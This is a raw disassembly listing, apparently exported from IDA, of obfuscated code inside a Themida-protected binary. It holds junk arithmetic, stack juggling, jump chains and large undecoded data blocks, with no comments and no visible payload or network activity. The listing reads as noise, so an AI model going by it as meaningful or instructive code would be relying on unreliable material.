shr ebx, 6
and ebx, 1525623Eh
and ebx, 7F7B6056h
xor ebx, 212016h
add edi, ebx
pop ebx
jmp loc_556EE6
; ---------------------------------------------------------------------------
loc_54813E: ; CODE XREF: Themida_:0054A76Aj
pop eax
sub al, bh
mov ebx, [esp]
add esp, 4
sub al, 0A1h
pop ecx
jmp loc_5579F8
; ---------------------------------------------------------------------------
dw 0DD01h
aS0g db '[é0g',0
align 2
loc_54815A: ; CODE XREF: Themida_:00542F68j
add esp, 4
push eax
jmp loc_54C9EA
; ---------------------------------------------------------------------------
loc_548163: ; CODE XREF: Themida_:00547056j
xchg ebp, [esp]
pop esp
sub esp, 4
jmp loc_54C582
; ---------------------------------------------------------------------------
db 0BAh
dd 587876E3h, 0E281D2F7h, 1356592Ah, 0E6E9h, 4E8C100h
dd 249168h, 24148900h, 5728D5BAh, 81DAF71Fh, 0B976C0E2h
dd 2356E954h, 0EC830000h, 24048904h, 5253E089h, 46F368h
dd 24348900h, 0E732D668h, 0D6E95E11h, 300000C7h, 241C8BF8h
dd 6804C483h, 261h, 0B7241C89h, 835066A4h, 148904ECh, 4A1DE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5481DA: ; CODE XREF: Themida_:0055484Cj
mov eax, edi
jmp loc_551EA3
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
aHO db '$h;O',0
align 2
dw 0C89h
dd 0E0895024h, 4BF57h, 0F8010000h, 4E8835Fh, 0A839E9h
dd 68535800h, 61CF72F2h, 4AC3815Bh, 0E9F88DC3h, 0FFFFE048h
dd 0C104E3C1h, 0C38105E3h, 0E961D836h, 295BDA89h, 822D5AD3h
dd 292E8053h, 538205D8h, 34FF2E80h, 0E9515B24h, 5458h
dd 6DE9DD31h
db 0D7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548243: ; CODE XREF: Themida_:0054363Bj
sub esp, 4
mov [esp], ecx
jmp loc_5559D0
; ---------------------------------------------------------------------------
dw 0C181h
dd 7FC36AE8h, 150DC181h, 0E9813D5Fh, 5C332A93h, 15E9C101h
dd 0C10000D8h, 0EC8308EAh, 24048904h, 67A1BB8h, 0C8AAE915h
dd 0BA520000h, 388C484Dh, 4245429h, 2434FF5Ah, 5724048Bh
dd 0FFB424E9h, 2434FFFFh, 83242C8Bh, 34E904C4h
db 4Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54829F: ; CODE XREF: Themida_:0054461Aj
mov ebp, 1B00FE61h
mov edx, ebp
jmp loc_543F21
; ---------------------------------------------------------------------------
db 89h
dd 0FCE92424h, 66000082h, 81242C8Bh, 2C4h, 0BB62E900h
dd 0FE29FFFFh, 81EE295Fh, 0AD1890C6h, 69C6E948h, 585B0000h
dd 391EE9h, 0E9E28900h, 175Ch
; ---------------------------------------------------------------------------
loc_5482E0: ; CODE XREF: Themida_:0054D8EAj
mov [esp], edi
push esp
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
push edx
mov edx, 13C35981h
add edx, 66572F5Bh
xor edx, 7A1A88D8h
add edi, edx
pop edx
push 7E85h
mov [esp], ebx
mov ebx, 4
add edi, ebx
pop ebx
jmp loc_54EDF6
; ---------------------------------------------------------------------------
db 0B8h, 58h, 12h
dd 752D2DB6h, 0F7283757h, 8090E9D8h, 0E9810000h, 0FFFFFFFFh
dd 4EC81h, 14890000h, 276EBA24h, 39E920A9h, 0C10000AEh
dd 0E98107E9h, 3D402FF1h, 4C83C181h, 0BBE91B88h
db 1Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54835B: ; CODE XREF: Themida_:0054F480j
mov [esp], esi
mov esi, 3A3041CDh
mov dword ptr [edx+38h], 0C5CFBE33h
add [edx+38h], esi
push dword ptr [esp]
jmp loc_552656
; ---------------------------------------------------------------------------
db 58h, 81h, 0F6h
dd 151261F4h, 61E95856h, 810000BBh, 0EE1607C3h, 0EB315D6Eh
dd 6BF575Dh, 316B7E06h, 7BE95FFBh, 0FFFFFFF5h, 0C8B2434h
dd 4C48324h, 0E904EC83h, 0FFFFC5D6h, 7E9468h, 69A5E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5483B6: ; CODE XREF: Themida_:00548EC4j
push eax
jmp loc_546635
; ---------------------------------------------------------------------------
dd 4C6815Eh, 68000000h, 26CCh, 50242C89h, 0D24D5CB8h, 0C1E0D115h
dd 0BA5204E0h, 23F668F2h, 980BC281h, 0D0092ED6h, 0C215E95Ah
dd 0ECBF0000h, 0E977EA09h, 0FFFFC883h, 0B6BFE951h, 4B9FFFFh
dd 1000000h, 240C8BCEh, 5004C483h, 405E089h, 83000000h
dd 1FE904E8h, 1FFFFB7h, 0DCA6E9F3h, 0E9F60000h, 0CCB60F66h
dd 6F5368h, 240C8900h, 56E9E189h, 53000043h, 42474FFh
dd 24048F5Bh, 0DDFCE9h
db 0
; ---------------------------------------------------------------------------
loc_548441: ; CODE XREF: Themida_:0054EAC6j
sub eax, 4
xchg eax, [esp]
jmp loc_543224
; ---------------------------------------------------------------------------
aCsel db '(æéel',0
dw 4F00h
dd 266FEF81h, 0D7F719E1h, 0DDF78147h, 0E951B301h, 0FFFFF1B2h
dd 8124348Bh, 4C4h, 24048F00h, 0BF57515Ch, 6A424D5Ch, 424D5868h
dd 0F931596Ah, 6BEB815Fh, 814C602Dh, 0B9154DEBh, 50CB011Ch
dd 154DBA52h, 0D0891CB9h, 46A4E9h, 0B6A23500h, 0C3317812h
dd 0CAC38158h, 8172C11Bh, 0E7E94CC3h, 2EBC136h, 76F2E950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5484BE: ; CODE XREF: Themida_:00547EC7j
sub ebx, 4A197CEEh
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_54769D
; ---------------------------------------------------------------------------
loc_5484D3: ; CODE XREF: Themida_:0054FDCFj
add dword ptr [esp+4], 5C3A0155h
sub dword ptr [esp+4], 2AD61B34h
add [esp+4], ebx
add dword ptr [esp+4], 2AD61B34h
push esi
mov esi, 5C3A0155h
sub [esp+8], esi
pop esi
push eax
mov eax, 6C20224Ah
add [esp+8], eax
pop eax
jmp loc_55556B
; ---------------------------------------------------------------------------
dw 0E7C0h
dd 0FED7F603h, 0B4EF80C7h, 1C8BFE30h, 4C48124h, 0E9000000h
dd 0DA6Fh
; ---------------------------------------------------------------------------
loc_548524: ; CODE XREF: Themida_:005441C1j
add ebx, 4
jmp loc_55414F
; ---------------------------------------------------------------------------
loc_54852C: ; CODE XREF: Themida_:005443A4j
mov [esp], edx
push 7E9Fh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop edx
add esp, 4
add edx, 4
jmp loc_54A186
; ---------------------------------------------------------------------------
dw 0FB89h
dd 24148B5Fh, 4C481h, 0EB810000h, 10AA17A5h, 7AAFE951h
dd 0C6830000h, 0B2C68101h, 816DAD06h, 3F6550F6h, 76A7E907h
dd 0C6800000h, 0BDEE8001h, 45AF588h, 2CE828A3h, 0E95966A3h
dd 492h
; ---------------------------------------------------------------------------
loc_548590: ; CODE XREF: Themida_:00552560j
add esp, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
sub esp, 4
mov [esp], ebx
mov bh, 61h
dec bh
jmp loc_5473F1
; ---------------------------------------------------------------------------
loc_5485B5: ; CODE XREF: Themida_:0054480Bj
sub dx, di
pop edi
mov bp, dx
jmp loc_5431AD
; ---------------------------------------------------------------------------
loc_5485C1: ; CODE XREF: Themida_:0054395Ej
mov eax, [esp]
add esp, 4
jmp loc_5451A3
; ---------------------------------------------------------------------------
db 58h
dd 5341D1F7h, 0D8D7E9h
db 0
; ---------------------------------------------------------------------------
loc_5485D9: ; CODE XREF: Themida_:00557A00j
mov ch, 0F2h
sub bl, ch
jmp loc_545A5E
; ---------------------------------------------------------------------------
dw 8658h
dd 86C0FEC6h, 0EFE950C6h, 0C1000085h, 0E50D04E0h, 4868D67Fh
dd 0D67FF02Dh, 58C101F8h, 8904EC83h, 0B8502434h, 7DD314F4h
dd 0FFB265E9h, 241C8BFFh, 5604C483h, 23C2E9h, 58A2D00h
dd 0F8014E01h, 1058A05h, 2434FF4Eh, 4C4815Fh, 31000000h
dd 0A7F6E9C3h, 0C280FFFFh, 80FA2815h, 285B15EAh, 47C280EAh
dd 0D7285966h, 4C9045Ah, 0CE53E97Fh, 0EE890000h, 0FFF179E9h
dd 5E5C1FFh, 0FFF91BE9h, 0A6C181FFh, 8B018E3Eh, 0DF68243Ch
dd 8900006Ch, 0E2892414h, 4B951h, 0CA010000h, 9043E9h
dd 34A8B000h, 4B6044Eh, 2734ADh, 0C68058C6h, 0F7C7E9EAh
dd 0C15DFFFFh, 515303EDh, 53E2E9h
db 0
; ---------------------------------------------------------------------------
loc_5486A5: ; CODE XREF: Themida_:00556598j
push 6E87710Dh
pop esi
dec esi
sub esp, 4
mov [esp], ebx
mov ebx, 6BF65BE9h
sub esi, ebx
pop ebx
add edi, 0A802127h
add edi, esi
jmp loc_54756D
; ---------------------------------------------------------------------------
db 57h
dd 4048BA52h, 74E95EBCh
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5486D3: ; CODE XREF: Themida_:00548C7Dj
push esi
mov esi, 6A64F181h
xor edi, esi
pop esi
push ecx
mov ecx, 64B248D4h
jmp loc_5437E4
; ---------------------------------------------------------------------------
loc_5486E7: ; CODE XREF: Themida_:00542C61j
pop ebx
add ebp, 4FB598Bh
add ebp, 338202D4h
add ebp, eax
sub ebp, 338202D4h
jmp loc_54FC72
; ---------------------------------------------------------------------------
db 0BEh, 44h, 15h
dd 6E90B79h, 0BE00003Fh, 90639525h, 0FFA567E9h, 0E95156FFh
dd 0C1C5h
; ---------------------------------------------------------------------------
loc_54871C: ; CODE XREF: Themida_:00552086j
neg eax
sub eax, 0FDC16E18h
jmp loc_54AAE4
; ---------------------------------------------------------------------------
aPH_SHsru db 'P¸H*>.Áè',8,'HérU',0
db 0
; ---------------------------------------------------------------------------
loc_548737: ; CODE XREF: Themida_:0054E675j
or dx, bp
pop bp
sub esp, 4
mov [esp], edi
push small 0FBAh
pop di
add di, 0FFFFh
not di
jmp loc_544806
; ---------------------------------------------------------------------------
db 55h, 0BDh, 4
dd 1000000h, 5D04246Ch, 81240C8Bh, 4C4h, 4BA5200h, 1000000h
dd 28C6E9D1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548776: ; CODE XREF: Themida_:00555F22j
add esp, 4
jmp loc_555E56
; ---------------------------------------------------------------------------
loc_54877E: ; CODE XREF: Themida_:00553322j
xchg edi, [esp]
pop esp
jmp loc_54270C
; ---------------------------------------------------------------------------
db 87h
dd 248B2434h, 4EC8124h, 89000000h, 75E9242Ch, 0F6000002h
dd 0AA28E9D5h, 8956FFFFh, 4C681E6h, 83000000h, 348704C6h
dd 83535C24h, 2C8904ECh, 43FDBD24h, 0CE9649Eh, 68FFFFB8h
dd 395Ch, 0E9243C89h, 0CB91h, 64F9C181h, 0CE29B9FBh, 0AAC68159h
dd 10AD139h, 0AAEE81C6h, 550AD139h, 0B762EABDh, 5DEE013Bh
dd 284DE9h, 0BD555C00h, 132F2D89h, 20EF581h, 92E924ABh
dd 8BFFFFADh, 0C4832434h, 5AD02904h, 0C578122Dh, 5E80167h
dd 67C57812h, 0F15FE9h, 4EC8300h, 0FF241C89h, 5B042474h
dd 5C24048Fh, 2FE95E59h, 4000038h, 0E9F828AEh, 59F8h, 814ED6F7h
dd 0EAADFAC6h, 0E9F3316Eh, 5CD7h, 89242C89h, 4C581E5h
dd 81000000h, 4C5h, 242C8700h, 2444015Ch, 86E95304h, 89000004h
dd 45E9240Ch, 81FFFFC3h, 4ECh, 241C8900h, 0B10ABD68h, 0EB815B6Dh
dd 796213C8h, 1EB81h, 0BE560000h, 5C5B71EFh, 0F75EF309h
dd 416856DBh, 89000004h, 0BCBB241Ch, 0BE62143Ah, 0F300D2ABh
dd 465BDE01h, 1B5BE9h
db 0
; ---------------------------------------------------------------------------
loc_5488B9: ; CODE XREF: Themida_:0054BF36j
and eax, edx
pop edx
or edx, eax
shl edx, 1
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
push edx
mov edx, 0E8F13B2h
dec edx
add edx, 0F170EC50h
mov ebx, edx
pop edx
push 749Dh
mov [esp], edi
jmp loc_543051
; ---------------------------------------------------------------------------
dd 373968h, 46AE900h, 248B0000h, 6E686624h, 489660Bh, 5DB024h
dd 48B66C3h, 2C48124h, 81000000h, 4ECh, 6C3E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54891E: ; CODE XREF: Themida_:0054E3E2j
sub dword ptr [esp+4], 30AC59A2h
add [esp+4], eax
add dword ptr [esp+4], 30AC59A2h
add dword ptr [esp+4], 119F2905h
sub dword ptr [esp+4], 3C813CE6h
jmp loc_546F74
; ---------------------------------------------------------------------------
db 0F7h
dd 1C281D2h, 0F7000000h, 0E9D2F7D2h, 0FFFFC58Ah, 6AE9F929h
dd 5CFFFFA4h, 22Dh, 24043300h, 33240431h, 248B2404h, 0C896624h
dd 0D72BE924h, 0EFC10000h, 0AEB8E903h, 0C1580000h, 0E78105E7h
dd 5E4A7F08h, 0BBE9DFF7h, 5700001Fh, 30577FBFh, 0E9FB096Ch
dd 9293h, 0BD242C89h, 782779Ch, 39B0F581h, 55521EEEh, 0BE243481h
dd 5A5DE923h, 23BEF281h, 0D3895DE9h, 68CBE95Ah, 14890000h
dd 1B27BA24h, 0D0017455h, 5316E9h
db 0
; ---------------------------------------------------------------------------
loc_5489D5: ; CODE XREF: Themida_:00553988j
mov dl, 0BBh
jmp loc_54B0DE
; ---------------------------------------------------------------------------
dd 4C05EB81h, 83E92E10h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_557150
; ---------------------------------------------------------------------------
loc_5489F5: ; CODE XREF: Themida_:005534D1j
mov [esp], ecx
mov ecx, 2A7C757Dh
mov edi, 2A7C7579h
xor edi, ecx
pop ecx
sub ecx, 7ABF08BAh
jmp loc_5505F7
; ---------------------------------------------------------------------------
dd 5228B850h, 4BD462Eh, 313C9932h, 7EA2E9C5h, 0F8040000h
dd 0F82CD800h, 4EC81h, 0C890000h, 68D7B524h, 1117h, 0B2241489h
dd 6E2C06Bh, 0E9D9C280h, 0AC1Bh, 0EC815A5Fh, 4, 89243C89h
dd 5FFB89EFh, 1C5F095Dh, 83241C8Bh, 0A5E904C4h, 5FFFFF9Ch
dd 0FFEBD7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548A6D: ; CODE XREF: Themida_:005530C9j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_546A68
; ---------------------------------------------------------------------------
aSI db '(Âé·i',0
dw 5B00h
dd 0FFE843E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548A89: ; CODE XREF: Themida_:0054973Ej
sub edx, ebp
jmp loc_55637F
; ---------------------------------------------------------------------------
dd 90CBED81h, 0E92937FEh, 24048B5Dh, 4C481h, 0EC810000h
dd 4, 0FF240C89h, 8B042474h, 0EC83240Ch, 0B6BDE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548ABA: ; CODE XREF: Themida_:00552930j
inc esi
shr esi, 4
jmp loc_55282E
; ---------------------------------------------------------------------------
db 0BFh
dd 20CA5B99h, 5B9BF781h, 0FA0120CAh, 2414335Fh, 6F54E9h
dd 0B60F6600h, 9C5166C8h, 0B665E9h
db 0
; ---------------------------------------------------------------------------
loc_548AE5: ; CODE XREF: Themida_:005457A8j
add ebp, 4
add ebp, 4
push ebp
jmp loc_551D38
; ---------------------------------------------------------------------------
aBIsSZ db 'éSÆ',27h,'éÒZ',0
db 0
; ---------------------------------------------------------------------------
loc_548AFF: ; CODE XREF: Themida_:00551469j
sub edi, 0B7D434Ah
pop ecx
jmp loc_54FCA4
; ---------------------------------------------------------------------------
db 0FFh
dd 1C8B2434h, 4C48324h, 0FF04C483h, 56582434h, 0F89AE954h
dd 5266FFFFh, 8057B551h, 82E978EDh
db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548B2F: ; CODE XREF: Themida_:00549676j
add ah, 0AAh
sub ah, 24h
xor dh, ah
jmp loc_54A0AE
; ---------------------------------------------------------------------------
dd 5604EE83h, 42474FFh, 24048F5Eh, 2414895Ch, 7C8AFE88h
dd 74880424h, 148B0424h, 0CF4AE924h, 0E95C0000h, 0FFFFA521h
dd 0E904C483h, 7FD0h
; ---------------------------------------------------------------------------
loc_548B6C: ; CODE XREF: Themida_:00550A22j
add esp, 4
movzx ecx, ax
push esi
jmp loc_54C6FE
; ---------------------------------------------------------------------------
dd 0E9241489h, 0FFFFCAB1h, 2434895Ch, 813CE9h, 5DEB2900h
dd 1C8BDF01h, 4C48124h, 81000000h, 4ECh, 240C8900h, 2B9h
dd 59CF0100h, 479168h, 243C8900h, 42474FFh, 3A62E9h
db 0
; ---------------------------------------------------------------------------
loc_548BB9: ; CODE XREF: Themida_:005463C3j
xor ecx, 86B5ABB7h
jmp loc_545BDC
; ---------------------------------------------------------------------------
loc_548BC4: ; CODE XREF: Themida_:0054361Cj
mov eax, [esp]
add esp, 4
push edx
mov dh, 4Eh
sub bl, dh
jmp loc_54D548
; ---------------------------------------------------------------------------
dd 4240481h, 59000000h, 0B1CE9h
db 0
; ---------------------------------------------------------------------------
loc_548BE1: ; CODE XREF: Themida_:0054450Aj
mov [esp], ebp
mov ebp, 21EA42B2h
mov esi, 21EA42B6h
xor esi, ebp
pop ebp
jmp loc_5558CF
; ---------------------------------------------------------------------------
dw 5668h
dd 8900005Ch, 3C682414h, 83000000h, 248904ECh, 24048124h
dd 4, 0E924048Fh, 0FFFFB478h
; ---------------------------------------------------------------------------
loc_548C18: ; CODE XREF: Themida_:00549577j
pop ebp
jmp loc_55755B
; ---------------------------------------------------------------------------
loc_548C1E: ; CODE XREF: Themida_:0055099Ej
mov [esp], ecx
jmp loc_552967
; ---------------------------------------------------------------------------
loc_548C26: ; CODE XREF: Themida_:0054F9C2j
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], ebp
push 2A2F1334h
pop ebp
jmp loc_542C90
; ---------------------------------------------------------------------------
db 59h, 81h, 0C4h
dd 4, 407FE9h, 4EB8300h, 2474FF53h, 48F5B04h, 24248B24h
dd 8368E9h, 240C8B00h, 2BE0E9h
db 0
; ---------------------------------------------------------------------------
loc_548C69: ; CODE XREF: Themida_:0054C784j
xor edx, 0EBD0EB42h
push edi
mov edi, 285D6BA2h
neg edi
shr edi, 8
add edi, 0FFFFFFFFh
jmp loc_5486D3
; ---------------------------------------------------------------------------
dw 0E95Ah
dd 5C1h, 0E404F000h, 1224E9h, 8EBC100h, 1C73E9h, 23426800h
dd 34890000h, 17D3BE24h, 72E974C5h, 5100008Ch, 42474FFh
dd 81240C8Bh, 4C4h, 2F2BE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548CBE: ; CODE XREF: Themida_:0054947Ej
mov [esp], ebx
mov ebx, 3971070h
push eax
mov eax, 0F7E5E19Dh
add ebx, 203B5774h
sub ebx, eax
sub ebx, 203B5774h
pop eax
xor edx, ebx
jmp loc_54CAD5
; ---------------------------------------------------------------------------
dw 0BD55h
dd 13166004h, 2C8BEE31h, 4C48324h, 0FFB620E9h, 7E84BBFFh
dd 5C294062h, 1C8B0824h, 4C48124h, 58000000h, 0AEFCE95Bh
dd 0E9580000h, 0FFFFE59Bh, 89240489h, 405E0h, 0E8830000h
dd 2A17E904h, 4890000h, 4EC8124h, 89000000h, 37682414h
dd 5A772F4Eh, 8107EAC1h, 382FAAEAh, 0C067E983h, 0F889FFFFh
dd 0B5EF815Fh, 1493D77h, 0B5C781C7h, 58493D77h, 1947CF81h
dd 0E95144CDh, 2DE5h, 0E9241489h, 2471h, 4EC815Ch, 89000000h
dd 0BA682414h, 0E97CA043h, 8298h, 44B5E281h, 0F2812A64h
dd 9D38D42Fh, 895AD129h, 5EE959CEh, 88000091h, 88D7F6F7h
dd 0CEFE5BFEh, 62E3E9h, 0EBEA8100h, 813FAB46h, 9F0CE4EFh
dd 81D70136h, 9F0CE4C7h, 0B095E936h, 0EC86FFFFh, 0FFA413E9h
dd 48B66FFh, 73A96824h, 0E1E90000h, 81FFFFBDh, 0D51E04F7h
dd 10E7814Ah, 81069F4Eh, 27484AE7h, 4FEF811Fh, 4799D633h
dd 0E781D7F7h, 6B517526h, 0BB68EFD1h, 8900002Fh, 68532404h
dd 30E54C89h, 0F3CB815Bh, 0C146A568h, 0F38102E3h, 5C0C51B2h
dd 12DCEB81h, 0D8898942h, 58C7015Bh, 1F38EA81h, 0FA0143E1h
dd 0FBD5550h, 5728F96Eh, 0B95AF1BFh, 5FFD214Bh, 0E581EDD1h
dd 7ECB3655h, 0FB38C581h, 7BE93F98h, 5BFFFFD2h, 15FFB01h
dd 0B9BD55CBh, 81540B7Bh, 1C77EBEDh, 0B7EB8120h, 0E946A634h
dd 0FFFFE426h, 572FB850h, 0E0C1455Dh, 704BE903h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548E76: ; CODE XREF: Themida_:0055458Aj
mov [esp], ax
mov al, 2Fh
xor dh, al
jmp loc_552E9E
; ---------------------------------------------------------------------------
db 2Ch
dd 58C32852h, 0E9C9C380h, 185Ch, 2BEh, 8BCCE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548E9A: ; CODE XREF: Themida_:0054C832j
or edx, 2BD4184Eh
xor edx, 0AFFE7A6Bh
add edi, edx
pop edx
add edi, 4
xchg edi, [esp]
pop esp
push 5FF4h
mov [esp], ebx
push edi
push 3ED2308Ch
mov edi, [esp]
jmp loc_5483B6
; ---------------------------------------------------------------------------
db 0BDh, 0CBh, 0Bh
dd 814D458Fh, 0D310B3EDh, 0F1C5816Ah, 814AC04Bh, 0AE311C5h
dd 5365E9E6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548EE6: ; CODE XREF: Themida_:00544671j
xchg edx, [esp]
pop esp
jmp loc_55340B
; ---------------------------------------------------------------------------
db 55h
dd 242C8B58h, 4C481h, 0D5F70000h, 0E8C0E9h, 0C8B6600h
dd 7EF06824h, 0C890000h, 34FF5424h, 240C8B24h, 5E08950h
dd 4, 405h, 24048700h, 0F878E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_54F148
; ---------------------------------------------------------------------------
dw 0F380h
dd 5BD80023h, 0FFA155E9h, 5EF301FFh, 5C241C87h, 555AC281h
dd 0E95D6839h, 0CFEh, 52E95658h, 68FFFFD4h, 3C4Eh, 83242489h
dd 0FF042404h, 0C8B2434h, 4C48124h, 83000000h, 0F1E904C4h
dd 81FFFFFEh, 4ECh, 241C8900h, 9010A7BBh, 34815315h, 0D53C7024h
dd 9FE95E1Ah, 0BDFFFFEFh, 67761A74h, 3FFC581h, 0E5C14ABDh
dd 814D4D06h, 0EF16B2E5h, 5BF5812Ch, 17D6143h, 0F1295DE9h
dd 57E9E981h, 34FF71A6h, 0C125E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548FC2: ; CODE XREF: Themida_:0055729Dj
and eax, ebp
jmp loc_54EAB6
; ---------------------------------------------------------------------------
db 81h, 0C7h, 76h
dd 81530A00h, 921BADC7h, 0B9515D10h, 2, 22EE9h, 241C8900h
dd 81E28952h, 4C2h, 4B95100h, 29000000h, 3CE959CAh
db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548FFB: ; CODE XREF: Themida_:005480FEj
pop ebx
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_550C3F
; ---------------------------------------------------------------------------
aSVbarp69s6 db 'S»[/ÐVíRP69é6Ð',0
dd 242C3300h, 0E564E9h, 81FA0100h, 5833B5C2h, 0E9565F1Ch
dd 121Bh, 6807685Bh, 2C890000h, 6E87E924h, 0F72D0000h
dd 5439E14h, 537C3F8Ah, 0D323E9h, 0B4F18100h, 0E9207B22h
dd 0D85Ah, 8BF82158h, 0EC81243Ch, 4, 89241C89h, 4C381E3h
dd 81000000h, 4C3h, 74FF5300h, 0CAE90424h, 330000D4h, 0E95C2404h
dd 0FFFFE95Bh, 68242C8Bh, 7B5Ah, 60D9E9h
db 0
; ---------------------------------------------------------------------------
loc_54909D: ; CODE XREF: Themida_:0054A086j
push dword ptr [esp]
pop ebx
add esp, 4
push 3A8Dh
mov [esp], ecx
push 2769h
jmp loc_54AE6D
; ---------------------------------------------------------------------------
db 1, 44h, 24h
dd 2D32E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5490C2: ; CODE XREF: Themida_:0054AA83j
add ebx, 5EC2127Eh
add ebx, eax
sub ebx, 5EC2127Eh
add ebx, 3CBC7275h
push ecx
push edx
push 22407C0Bh
pop edx
jmp loc_553B12
; ---------------------------------------------------------------------------
db 81h
dd 0A21242Ch, 0E95F7A6Ch, 0FFFFD3B9h, 0B6241489h, 80E680BFh
dd 0E6D0CEFEh, 0C01CC680h, 0BCE906EEh, 8B0000D6h, 0C481240Ch
dd 4, 0C421E9h, 81D3F700h, 96E42BEBh, 5BD9899Ah, 0FCE9CE29h
db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549127: ; CODE XREF: Themida_:00553F7Aj
pop ecx
mov eax, [esp]
push edx
mov edx, esp
sub esp, 4
jmp loc_54D4E6
; ---------------------------------------------------------------------------
loc_549139: ; CODE XREF: Themida_:00543BCDj
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add ecx, 5B653D55h
pop esi
jmp loc_54744B
; ---------------------------------------------------------------------------
dd 0C3BAE981h, 0E1C11E0Dh, 0A60FE902h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549166: ; CODE XREF: Themida_:00545E3Dj
add esp, 4
jmp loc_5510D0
; ---------------------------------------------------------------------------
db 0B8h, 13h, 5Ch
dd 613501B1h, 5422F5Bh, 0BC61F892h, 0BEE9C601h
db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549187: ; CODE XREF: Themida_:00551E5Bj
pop esp
push edx
push esp
pop edx
add edx, 4
push ebp
mov ebp, 302209DBh
add ebp, 1
dec ebp
sub ebp, 671A5E58h
push edi
jmp loc_547CDA
; ---------------------------------------------------------------------------
db 81h
dd 5A23E6C3h, 0C3815D49h, 0CBDE554Fh, 685BDA21h, 1CE8h
dd 56240489h, 260FD5BEh, 3B97E91Dh, 89660000h, 3AE92414h
dd 0B2FFFFDAh, 0E9D528C4h, 8FC0h, 4EC8349h, 0BE243489h
dd 2F9A24A8h, 348BF109h, 4C48324h, 7EFEF181h, 0CB01BFDBh
dd 0F623E959h, 0C35CFFFFh, 0FF9507E9h, 2EEC0FFh, 6BE9E6D0h
dd 1FFFFF3h, 3C3359CFh, 243C3124h, 8B243C33h, 0F662424h
dd 3B68C8BEh, 0E9000079h, 90F8h, 0E1C006B1h, 10F18003h
dd 8059CF20h, 51E9FFC7h, 0BBFFFFC7h, 0
dd 0FFB21BE9h, 4ED83FFh, 2474FF55h, 48F5D04h, 6CE95C24h
dd 52000029h, 0C281E289h, 4, 4B850h, 0C2290000h, 24148758h
dd 2434895Ch, 0C74610BEh, 1C6BE97Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54927E: ; CODE XREF: Themida_:0054D203j
pop dx
push ebx
push edx
mov dl, ah
push eax
mov al, dl
mov bl, al
jmp loc_553D0E
; ---------------------------------------------------------------------------
dw 0C801h
dd 81240C8Bh, 4C4h, 24148B00h, 4C481h, 0D8290000h, 4EC8352h
dd 0BE243489h, 5B230975h, 348BF289h, 4C48324h, 0FFE673E9h
dd 51C201FFh, 0B7871B9h, 59CA2910h, 0E924048Bh, 0FFFFB666h
; ---------------------------------------------------------------------------
loc_5492D0: ; CODE XREF: Themida_:00544767j
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
shr eax, 0Bh
xor ecx, eax
jmp loc_5548BE
; ---------------------------------------------------------------------------
dd 0E95AD001h, 0FFFFDDCDh
; ---------------------------------------------------------------------------
loc_549304: ; CODE XREF: Themida_:0054D4E1j
and esi, 4EFB0B69h
not esi
inc esi
add esi, 5BCB2051h
jmp loc_5574DB
; ---------------------------------------------------------------------------
dd 0B03EE95Ah, 0C483FFFFh, 6FBF5704h, 81519325h, 7C7397F7h
dd 7194E973h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549332: ; CODE XREF: Themida_:0054C940j
inc edx
neg edx
dec edx
sub edx, 26B77D4Ah
mov edi, edx
pop edx
sub edi, 598E5F13h
sub ebp, 1E27C45h
add ebp, edi
add ebp, 1E27C45h
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
sub eax, 661C5E2Fh
push edx
mov edx, 1F243312h
shr edx, 7
inc edx
add edx, 0FFFFFFFFh
push 60FCh
mov [esp], eax
jmp loc_554D8F
; ---------------------------------------------------------------------------
dd 8BEB8958h, 0C481242Ch, 4, 0FDE9D801h, 330000C1h, 685C2434h
dd 16E9h, 4C6CE9h, 4B800h, 0C5810000h, 9074C92h, 0ED81C501h
dd 9074C92h, 242C3358h, 0E9242C31h, 4C91h, 2434895Ch, 9B9CE9h
dd 81DA0100h, 6A1540EAh, 0DDC28110h, 8B3C7665h, 0C483241Ch
dd 4B85004h, 0E9000000h, 43C8h, 1840E381h, 0E3C1248Fh
